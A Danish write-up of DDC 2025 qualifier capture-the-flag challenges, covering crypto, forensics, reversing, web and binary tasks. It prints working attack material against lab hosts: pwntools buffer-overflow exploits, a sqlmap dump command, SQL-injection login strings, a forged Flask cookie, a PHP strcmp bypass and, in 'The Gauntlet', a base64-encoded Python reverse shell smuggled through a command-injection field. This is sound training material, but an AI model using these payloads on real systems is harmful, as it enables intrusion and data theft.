<p><strong>Løsning:</strong> I filen encryption.txt finder vi strengen: <code>uux fwnqeefæzr bq eayr xareah</code>. Efter at have kigget lidt på encryption scriptet, kan vi lave et decryption script.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">string</span>
</span></span><span class="line"><span class="cl"><span class="n">alphabet</span> <span class="o">=</span> <span class="s1">&#39;abcdefghijklmnopqrstuvwxyzæøå&#39;</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">mod_inverse</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">m</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">a</span> <span class="o">=</span> <span class="n">a</span> <span class="o">%</span> <span class="n">m</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">m</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">a</span> <span class="o">*</span> <span class="n">x</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="n">x</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">caesar_decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">ciphertext</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">plaintext</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">ciphertext</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="ow">in</span> <span class="n">string</span><span class="o">.</span><span class="n">whitespace</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">plaintext</span> <span class="o">+=</span> <span class="n">ciphertext</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="c1"># Find the modular inverse of the key index</span>
</span></span><span class="line"><span class="cl">            <span class="n">key_index</span> <span class="o">=</span> <span class="n">alphabet</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">inv_key</span> <span class="o">=</span> <span class="n">mod_inverse</span><span class="p">(</span><span class="n">key_index</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">alphabet</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">            <span class="c1"># Decrypt the character</span>
</span></span><span class="line"><span class="cl">            <span class="n">cipher_index</span> <span class="o">=</span> <span class="n">alphabet</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">            <span class="n">plain_index</span> <span class="o">=</span> <span class="p">(</span><span class="n">cipher_index</span> <span class="o">*</span> <span class="n">inv_key</span><span class="p">)</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">alphabet</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">plaintext</span> <span class="o">+=</span> <span class="n">alphabet</span><span class="p">[</span><span class="n">plain_index</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">plaintext</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">key</span> <span class="ow">in</span> <span class="n">alphabet</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">key</span> <span class="o">==</span> <span class="s1">&#39;a&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">continue</span>  <span class="c1"># Skip &#39;a&#39; as it&#39;s not a valid key</span>
</span></span><span class="line"><span class="cl">    <span class="n">decrypted_text</span> <span class="o">=</span> <span class="n">caesar_decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="s1">&#39;uux fwnqeefæzr bq eayr xareah&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Key: </span><span class="si">{</span><span class="n">key</span><span class="si">}</span><span class="s2">, Decrypted Text: </span><span class="si">{</span><span class="n">decrypted_text</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>Flag: <code>DDC{impossible_to_save_caesar}</code></p>
<hr>
<h3 id="hasher-is-back">Hasher is back</h3>
<p>💀 Kan du knække koden? 💀</p>
<p>MD5 Hash: 24bb5c555b8f32d27eaeec9c5522b576</p>
<p>🛠️ Find værdien bag hashen og indsæt den i formatet DDC{cracked-hash-her} . 🛠️</p>
<p>💡 Pro tip: Det er ikke muligt at gå direkte fra en hash til dens oprindelige værdi, men du kan prøve en liste af mulige kandidater i et såkaldt &ldquo;dictionary attack&rdquo;. Værktøjer som John the Ripper og Hashcat, eller prøve at google efter andre online databaser som kan hjælpe med at slå md5 hashes op baseret på almindelige ord.💡</p>
<p><strong>Løsning:</strong> Til denne opgave kan vi bruge et rainbow table, som eks. <a href="https://crackstation.net/">https://crackstation.net/</a> - Så smider vi bare vores md5 hash ind. Som giver: <code>iloveyouall</code>.</p>
<p>Flag: <code>DDC{iloveyouall}</code></p>
<hr>
<h3 id="the-professors-lost-note">The Professors Lost Note</h3>
<p>Scenarie: professor for cybersikkerhed på universitetet, Dr. Niels Andersen, har arbejdet på et sæt noter, der indeholder tips og løsninger til de kommende eksamener. Desværre har Dr. Andersen forlagt en af ​​disse filer, mens han organiserede sine mapper, og nu har han brug for din hjælp til at hente den, før det er for sent!</p>
<p>Du får en mappe ved navn Professor_Notes, der indeholder flere filer. Et sted i denne mappe er der en skjult fil med Dr. Andersens vigtige note. Filen er dog ikke direkte synlig i mappen.</p>
<p>Din opgave er at finde hint.txt og læse dens indhold for at afsløre professorens tip.</p>
<p><strong>Tip:</strong> Den note, du leder efter, er måske ikke helt åbenlys. Ved at bruge de rigtige kommandoer i terminalen til at åbne mapper og undersøge filerne og Boot2rootderes indhold, vil du finde den tabte information.</p>
<p><a href="/ddc_qual_2025/misc/lost_note.zip">Handout (lost_note.zip)</a></p>
<p><strong>Løsning:</strong> I terminalen kan vi bruge <code>find</code> og <code>grep</code> til at finde filer, og <code>cat</code> til at læse dem.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ha1fdan@desktop:~/Downloads/lost_note$ find . <span class="p">|</span> grep <span class="s2">&#34;hint.txt&#34;</span>
</span></span><span class="line"><span class="cl">./Professor_Notes/.hint.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">ha1fdan@desktop:~/Downloads/lost_note$ cat ./Professor_Notes/.hint.txt
</span></span><span class="line"><span class="cl">DDC<span class="o">{</span>3x4m4n5w3r5<span class="o">}</span>
</span></span></code></pre></div><p>Flag: <code>DDC{3x4m4n5w3r5}</code></p>
<hr>
<h3 id="what-time-is-it">What time is it</h3>
<p>Jeg kommer altid for sent, så mine venner ender med at spise alle småkagerne, før jeg overhovedet ankommer. Denne gang har de efterladt mig en udfordring: Jeg skal gætte den nøjagtige rækkefølge, hvori de spiste småkagerne. Kan du hjælpe mig med at finde ud af rækkefølgen?</p>
<blockquote>
<p>what-time-is-it.hkn</p>
</blockquote>
<p><a href="/ddc_qual_2025/rev/reveng_whattimeisit_src.zip">Handout (reveng_whattimeisit_src.zip)</a></p>
<p><strong>Løsning:</strong> Ved at kigge i source koden kan vi se at Flask serveren genererer en sekvens af tal baseret på et time-dependent random seed. Så vi kan lave et Time-Based seed bruteforce attack.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">itertools</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">generate_seed</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">m</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">(</span><span class="n">h</span> <span class="o">*</span> <span class="mi">64</span> <span class="o">+</span> <span class="n">m</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">h</span> <span class="o">&lt;&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">m</span> <span class="o">&amp;</span> <span class="mb">0b1111</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">generate_sequence</span><span class="p">(</span><span class="n">seed</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">random</span><span class="o">.</span><span class="n">seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">[</span><span class="nb">str</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">))</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># all times from 00:00 to 23:59</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">hour</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">24</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">minute</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">60</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">seed</span> <span class="o">=</span> <span class="n">generate_seed</span><span class="p">(</span><span class="n">hour</span><span class="p">,</span> <span class="n">minute</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sequence</span> <span class="o">=</span> <span class="n">generate_sequence</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;q&#34;</span><span class="p">:</span> <span class="n">sequence</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="s1">&#39;http://what-time-is-it.hkn/9012340-123849081239582304213-42134123&#39;</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">response</span><span class="o">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">data</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">json</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="s1">&#39;x_3&#39;</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Success! Time: </span><span class="si">{</span><span class="n">hour</span><span class="si">}</span><span class="s2">:</span><span class="si">{</span><span class="n">minute</span><span class="si">}</span><span class="s2">, Sequence: </span><span class="si">{</span><span class="n">sequence</span><span class="si">}</span><span class="s2">, x_3: </span><span class="si">{</span><span class="n">data</span><span class="p">[</span><span class="s1">&#39;x_3&#39;</span><span class="p">]</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="k">break</span>
</span></span><span class="line"><span class="cl">            <span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">pass</span>
</span></span></code></pre></div><p><strong>Eksempel output:</strong> <code>Success! Time: 3:0, Sequence: ['2', '1', '3', '1', '1', '2', '2', '2'], x_3: DDC{t1m3st4mpsequence_br0k3n}</code></p>
<p>Flag: <code>DDC{t1m3st4mpsequence_br0k3n}</code></p>
<hr>
<h3 id="gotowin">gotowin</h3>
<p>Tjek denne binære, og se, om du kan gå for at vinde!</p>
<p>Tip: adgangskoden er virkelig svær at gætte.</p>
<blockquote>
<p>gotowin.hkn:8080</p>
</blockquote>
<p><a href="/ddc_qual_2025/binary/binary_gotowin.zip">Handout (gotowin.zip)</a></p>
<p><strong>Løsning:</strong> Ved at uploade <code>main</code> til <a href="https://dogbolt.org/">https://dogbolt.org/</a> kan vi se en <code>win</code> funktion, nu kan vi bruge GDB til at disassemble win funktionen.</p>
<pre tabindex="0"><code>(gdb) disas win
Dump of assembler code for function win:
   0x000000000040131e &lt;+0&gt;:	endbr64 
</code></pre><p>Her kan vi se at win funktionens address er <code>0x000000000040131e</code> som bliver til <code>0x40131e</code>.</p>
<p>Så kan vi bruge pwntools og python til at sende vores payload til remoten.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#39;./main&#39;)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;gotowin.hkn&#39;</span><span class="p">,</span> <span class="mi">8080</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Win function address from: `gdb ./main` and then `disas win`</span>
</span></span><span class="line"><span class="cl"><span class="n">win_addr</span> <span class="o">=</span> <span class="mh">0x40131e</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># The buffer is 112 bytes and we need to reach local_10</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Distance from local_88 to local_10 is 120 bytes (112 + 8 for alignment)</span>
</span></span><span class="line"><span class="cl"><span class="n">offset</span> <span class="o">=</span> <span class="mi">120</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Craft payload</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="sa">b</span><span class="s1">&#39;A&#39;</span> <span class="o">*</span> <span class="n">offset</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">p64</span><span class="p">(</span><span class="n">win_addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Wait for ASCII art</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;&#39;</span><span class="p">)</span>  <span class="c1"># Wait for input prompt</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvall</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span></code></pre></div><p><strong>Output:</strong> <code>Congratulations! Here is your flag: DDC{1t_s_n0t_4b0ut_th3_p4ssw0rd}</code></p>
<p>Flag: <code>DDC{1t_s_n0t_4b0ut_th3_p4ssw0rd}</code></p>
<hr>
<h3 id="leaky-store">Leaky Store</h3>
<p>Der er nye produkter i, shoppen, så tag et kig! Du kan handle via websitet eller vores API.</p>
<p>Det er helt sikkert, så vi forventer selvfølgelig ikke, at vores database bliver lækket.</p>
<blockquote>
<p><a href="http://leaky-store.hkn">http://leaky-store.hkn</a></p>
</blockquote>
<p><strong>Løsning:</strong> robots.txt revealer /swagger endpoint med API documentation, her kan vi se at /search?query=xx er deprecated og derfor kan vi nok lave en sql injection.</p>
<p><code>sqlmap -u &quot;http://leaky-store.hkn/search?query=motor&quot; --risk 3 --level 5 --delay 2 --dump</code> Her bruged der <code>--delay</code> for at undgå at vi bliver rate limited.</p>
<p>Efter lidt tid får vi et flag:</p>
<pre tabindex="0"><code>Database: public
Table: flags
[1 entry]
+----+----------------------------------+
| id | name                             |
+----+----------------------------------+
| 1  | DDC{0h_n0_3v3ryth1ng_1s_l34k1ng} |
+----+----------------------------------+
</code></pre><p>Flag: <code>DDC{0h_n0_3v3ryth1ng_1s_l34k1ng}</code></p>
<hr>
<h3 id="ping-sweep">ping-sweep</h3>
<p>Vi har mistanke om, at nogle af vores ingeniører skjuler en hemmelig besked i vores sårbarhedsscanner, der bruger en ICMP ping sweep, i starten af scanningen. Vi har vedlagt en .pcap-fil, der viser et eksempel på mistænkelig aktivitet. Kan du finde ud af om der er noget unikt ved nogle af pakkerne, og om de indeholder en hemmelig besked?</p>
<p><a href="/ddc_qual_2025/forensics/forensics_ping_sweep.pcap">Handout (ping_sweep.pcap)</a></p>
<p><strong>Løsning:</strong> Når vi åbner pcap filen i wireshark og klikker på de forskellige ICMP pakker, kan vi at der er blevet overført data i form af noget der ligner hex. For at extracte al dataen fra alle pakker kan vi bruge tshark: <code>tshark -r forensics_ping_sweep.pcap -Y &quot;icmp&quot; -T fields -e data &gt; extracted.txt</code>. Så kan vi smide vores <code>extracted.txt</code> fil over i CyberChef. Vi started med at bruge From Hex, dette giver os noget der ligner Base64, hvis vi så bruger Strings kan vi se nogle dele af flaget som, <code>PART_2:ad_fae:PARTEND___</code> og <code>PART_3:n_er_E:PARTEND___</code>. Men for at få de andre dele skal vi slå <strong>&ldquo;Remove non-alphabet chars&rdquo;</strong> fra for Base64en. Efter dette får vi alle 5 dele af flaget:</p>
<pre tabindex="0"><code>PART_2:ad_fae:PARTEND___
PART_3:n_er_E:PARTEND___
PART_1:DDC{hv:PARTEND___(
5PART_4:CN}:PARTEND___
</code></pre><p>Så kan vi samle flaget.</p>
<p>Flag: <code>DDC{hvad_faen_er_ECN}</code></p>
<hr>
<h3 id="the-gauntlet-pt-1">The Gauntlet pt 1</h3>
<p>So, you think you&rsquo;re a l33t h4xx0r? Alright, here&rsquo;s my little gauntlet to you then: Break in through the website and get a shell one way or another. Once that&rsquo;s done, escalate your privileges and own the box. You won&rsquo;t be needing any fancy kernel exploits or such, this one&rsquo;s all about bad practices and misconfigurations. Doesn&rsquo;t sound too hard, now does it? Good luck!</p>
<p>Flag binaries are located at /home/*****/user.flag and /root/root.flag</p>
<blockquote>
<p>the-gauntlet.hkn</p>
</blockquote>
<p><strong>Løsning:</strong> Vi starter med at finde en Flask server på port 5000 med nmap. Næst kan vi lave en sql-injection på login siden: <code>admin</code> med password: <code>abc' OR 1=1 --</code>. Nu har vi en cookie, med flask-unsign finder vi secret til at være <code>itsasecret</code>, vi kan nu ændre vores cookie til: <code>{'user': {'is_admin': True, 'username': 'Bob'}}</code>. Nu har vi adgang til <code>/admin</code>, her får vi mulighed for at checke et host. Hvis vi prøver at tjekke <code>${PWD}</code> får vi <code>ping: /home/user1: Name or service not known</code>, dette viser os at vores working directory er <code>/home/user1</code>. Ved at bruge burp kan vi sende denne command: <code>command=8.8.8.8%0D%0Apython3$IFS-c$IFS'exec(__import__(&quot;base64&quot;).b64decode(&quot;aW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMC4yNDAuMjQ2Iiw5MDAxKSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCJzaCIp&quot;).decode(&quot;utf-8&quot;))'</code>, som kører en reverse shell via python tilbage til vores maskine. Nu kan vi med <code>ls</code> se at der er en fil der hedder: <code>user.flag</code>, ved at køre <code>./user.flag</code> og trykke enter er der flag.</p>
<p>Flag: <code>DDC{n0th1ng_l1k3_4_b1t_0f_RCE}</code></p>
<hr>
<h3 id="masahiro-hara">Masahiro Hara</h3>
<p><em>Ingen beskrivelse</em></p>
<p>👉 <a href="/ddc_qual_2025/misc/Misc_Masahiro_Hara.zip">Handout</a> 👈</p>
<p><strong>Løsning:</strong> Løst ved hjælp af <a href="https://merri.cx/qrazybox/">QRazyBox</a> og <a href="https://medium.com/@nteezy/how-to-decode-a-partially-visible-or-damaged-qr-code-a-ctf-writeup-for-stack-the-flags-2020-4ef0eb6a018f">Nyan Tun Zaw&rsquo;s medium.com post</a>.</p>
<p>QR koden endte med at se sådan her ud:</p>
<p><img src="/ddc_qual_2025/misc/qr-solved.png" alt="QR Solved"></p>
<p>eller som kode:</p>
<pre tabindex="0"><code>#######__##_#_##_#__#_#######
#_____#_#_###___###___#_____#
#_###_#_###_#__##___#_#_###_#
#_###_#_#_#########_#_#_###_#
#_###_#____#__#_____#_#_###_#
#_____#__#____#__##___#_____#
#######_#_#_#_#_#_#_#_#######
________##________#__________
#_____#_#_#_#_#####_###__###_
_####__#####___#######__#__#_
##_#_##_#__###_#____##_#_##__
__#_#____###___#___#____##_##
##_#__##___#__##__###_____###
_#_##____####_#_##__##__#____
_#########__#_###_#_##___#___
##___#_#_#_##_#_#_#_____###_#
_#___####_#__####__#_#_###___
#_##_#_#_##__###_#_#_#_###___
###__##__##_##_#####_#__#_#_#
#__#_____#_##_#____#___#_____
#___#####__#_____##_#######__
________###___#__####___#____
#######_____________#_#_#____
#_____#____#___#____#___#____
#_###_#__###_###_#_######____
#_###_#____#___#_##_#________
#_###_#__#__####_____________
#_____#___####_____#_________
#######_#_#____####__________
</code></pre><p>Flag: <code>DDC{QU1CK-R32P0N23-C0D32-8Y-M42H1R0-H4R4}</code></p>
<hr>
<h3 id="passprotector">PassProtector</h3>
<p>Does obfuscation scare you?</p>
<p><a href="/ddc_qual_2025/rev/Reverse_Engineering_PassProtector.zip">Handout (PassProtector.zip)</a></p>
<p><strong>Løsning:</strong> Ved at bruge en online java decompiler kan vi se at flaget bliver skabt med en Decryptor class, og bliver compared med dit input i Main filen. Hvis vi kører .jar filen: <code>java -jar passprotector.jar</code> og åbner en ny terminal, kan vi bruge <code>jmap</code> til at dumpe memory af programmet. Vi bruger <code>jps -l</code> til at finde det PID for vores java process, og så jmap: <code>jmap -dump:live,format=b,file=dump.hprof &lt;PID&gt;</code>, til sidst kan vi bruge strings og grep til at finde flaget: <code>strings dump.hprof | grep &quot;DDC&quot;</code></p>
<p>Flag: <code>DDC{R3v3r51ng_J4v4_15_34sy}</code></p>
<hr>
<h3 id="pwn-me-good-uwu">PWN me good uwu</h3>
<p>UwU~ our wittle zerochain has a tiny buffer boo-boo! &gt;w&lt; Overflow the stack (gently, pwease~), align it wif a smol ret, and jump to the hidden function~ OwO. If you&rsquo;re a good hax0r, it&rsquo;ll spill its secwet fwag~ uwu ✨.</p>
<blockquote>
<p>uwu.hkn:4242</p>
</blockquote>
<p><a href="/ddc_qual_2025/binary/Binary_PWN_me_good_uwu.zip">Handout (PWN_me_good_uwu.zip)</a></p>
<p><strong>Løsning:</strong> I denne opgave skal vi lave et buffer overflow for at overskrive stacken, indsætte et ret-gadgetspring og derefter hoppe til en skjult funktion, som vil give os shell.</p>
<p><strong>1. Find en <code>ret</code>-gadget</strong>
Først skal vi finde en <code>ret</code>-gadget, som vi kan bruge til at sikre stack-alignment. Det gør vi ved at køre:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ROPgadget --binary zerochain <span class="p">|</span> grep <span class="s2">&#34; : ret&#34;</span>
</span></span></code></pre></div><p>Her finder vi en passende <code>ret</code> på adressen <code>0x401016</code>.</p>
<p><strong>2. Find adressen til den skjulte funktion</strong>
Den skjulte funktion, vi skal hoppe til, hedder <code>hidden_shell</code>. Vi kan finde dens adresse i GDB med:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">disassemble hidden_shell
</span></span></code></pre></div><p>Det viser os, at den ligger på <code>0x4015b2</code>.</p>
<p><strong>3. Bestem bufferens offset</strong>
For at finde ud af, hvor mange bytes vi skal overskrive, bruger vi et cyclic pattern fra Pwntools:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">pwn cyclic <span class="m">200</span>
</span></span></code></pre></div><p>Derefter kører vi programmet, vælger <strong>4. Vulnerable Log</strong>, og indsætter mønsteret. Når programmet crasher, aflæser vi værdien af <code>$rbp</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">$rbp</span>   : 0x6261616962616168 <span class="o">(</span><span class="s2">&#34;haabiaab&#34;</span>?<span class="o">)</span>
</span></span></code></pre></div><p>Nu kan vi finde offsettet ved at køre:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">pwn cyclic -l haabiaab
</span></span></code></pre></div><p>Det giver os en offset på <code>128</code>.</p>
<p><strong>4. Find en passende <code>rbp</code>-værdi</strong></p>
<p>Når vi har crashet programmet, kan vi i GDB inspicere stacken med:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">x/20gx <span class="nv">$rsp</span>
</span></span></code></pre></div><p>Her vælger vi en valid <code>rbp</code>-værdi, f.eks. <code>0x7fffffffde08</code>.</p>
<p>Nu har vi alle de nødvendige oplysninger til at bygge vores exploit. Se Python-scriptet nedenfor.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./zerochain&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;uwu.hkn&#34;</span><span class="p">,</span> <span class="mi">4242</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">offset</span> <span class="o">=</span> <span class="mi">128</span>
</span></span><span class="line"><span class="cl"><span class="n">ret</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401016</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">hidden_shell</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4015b2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">rbp</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x7fffffffde08</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span> <span class="o">*</span> <span class="n">offset</span> <span class="o">+</span> <span class="n">rbp</span> <span class="o">+</span> <span class="n">ret</span> <span class="o">+</span> <span class="n">hidden_shell</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s1">&#39;Your choice:&#39;</span><span class="p">,</span> <span class="s1">&#39;4&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s2">&#34;Enter log message:&#34;</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div><p>Flag: <code>DDC{pwn_15_fun_4nd_g00d_mu114h}</code></p>
<hr>
<h3 id="ddc-lounge">DDC Lounge</h3>
<p>Den gode Jens har brugt en del af årets DDC budgetet på at lave en lounge til alle jer deltagere. Jeg er sikker på der ikke er sparet det mindste, da DDC kun fortjener det bedste!</p>
<blockquote>
<p><a href="http://ddc-lounge.hkn">http://ddc-lounge.hkn</a></p>
</blockquote>
<p><a href="/ddc_qual_2025/web/Web_exploitation_DDC_Lounge.zip">Handout (webexp_ddc-lounge.zip)</a></p>
<p><strong>Løsning:</strong> Ved at kigge i source koden kan vi se at <code>signup_user()</code> funktionen bruger <code>if (strcmp($this-&gt;secret,$signup_secret) != 0) {</code> til at tjekke om secret er korrekt. Vi kan bruge <code>[]</code> så vores request ser sådan ud: <code>user=test&amp;pass=test&amp;secret[]=test</code>. Nu kan vi logge ind som test. Ved at kigge på vip-siden kan vi se at den bruger en permissions class og en logging class. Hvis vi selv laver vores permissions cookie, kan vi få adgang til vip-siden. Vi kan bruge php og den given classes.php fil til dette, <code>urlencode(base64_encode((serialize(new permissions(&quot;test&quot;)))));</code>.</p>
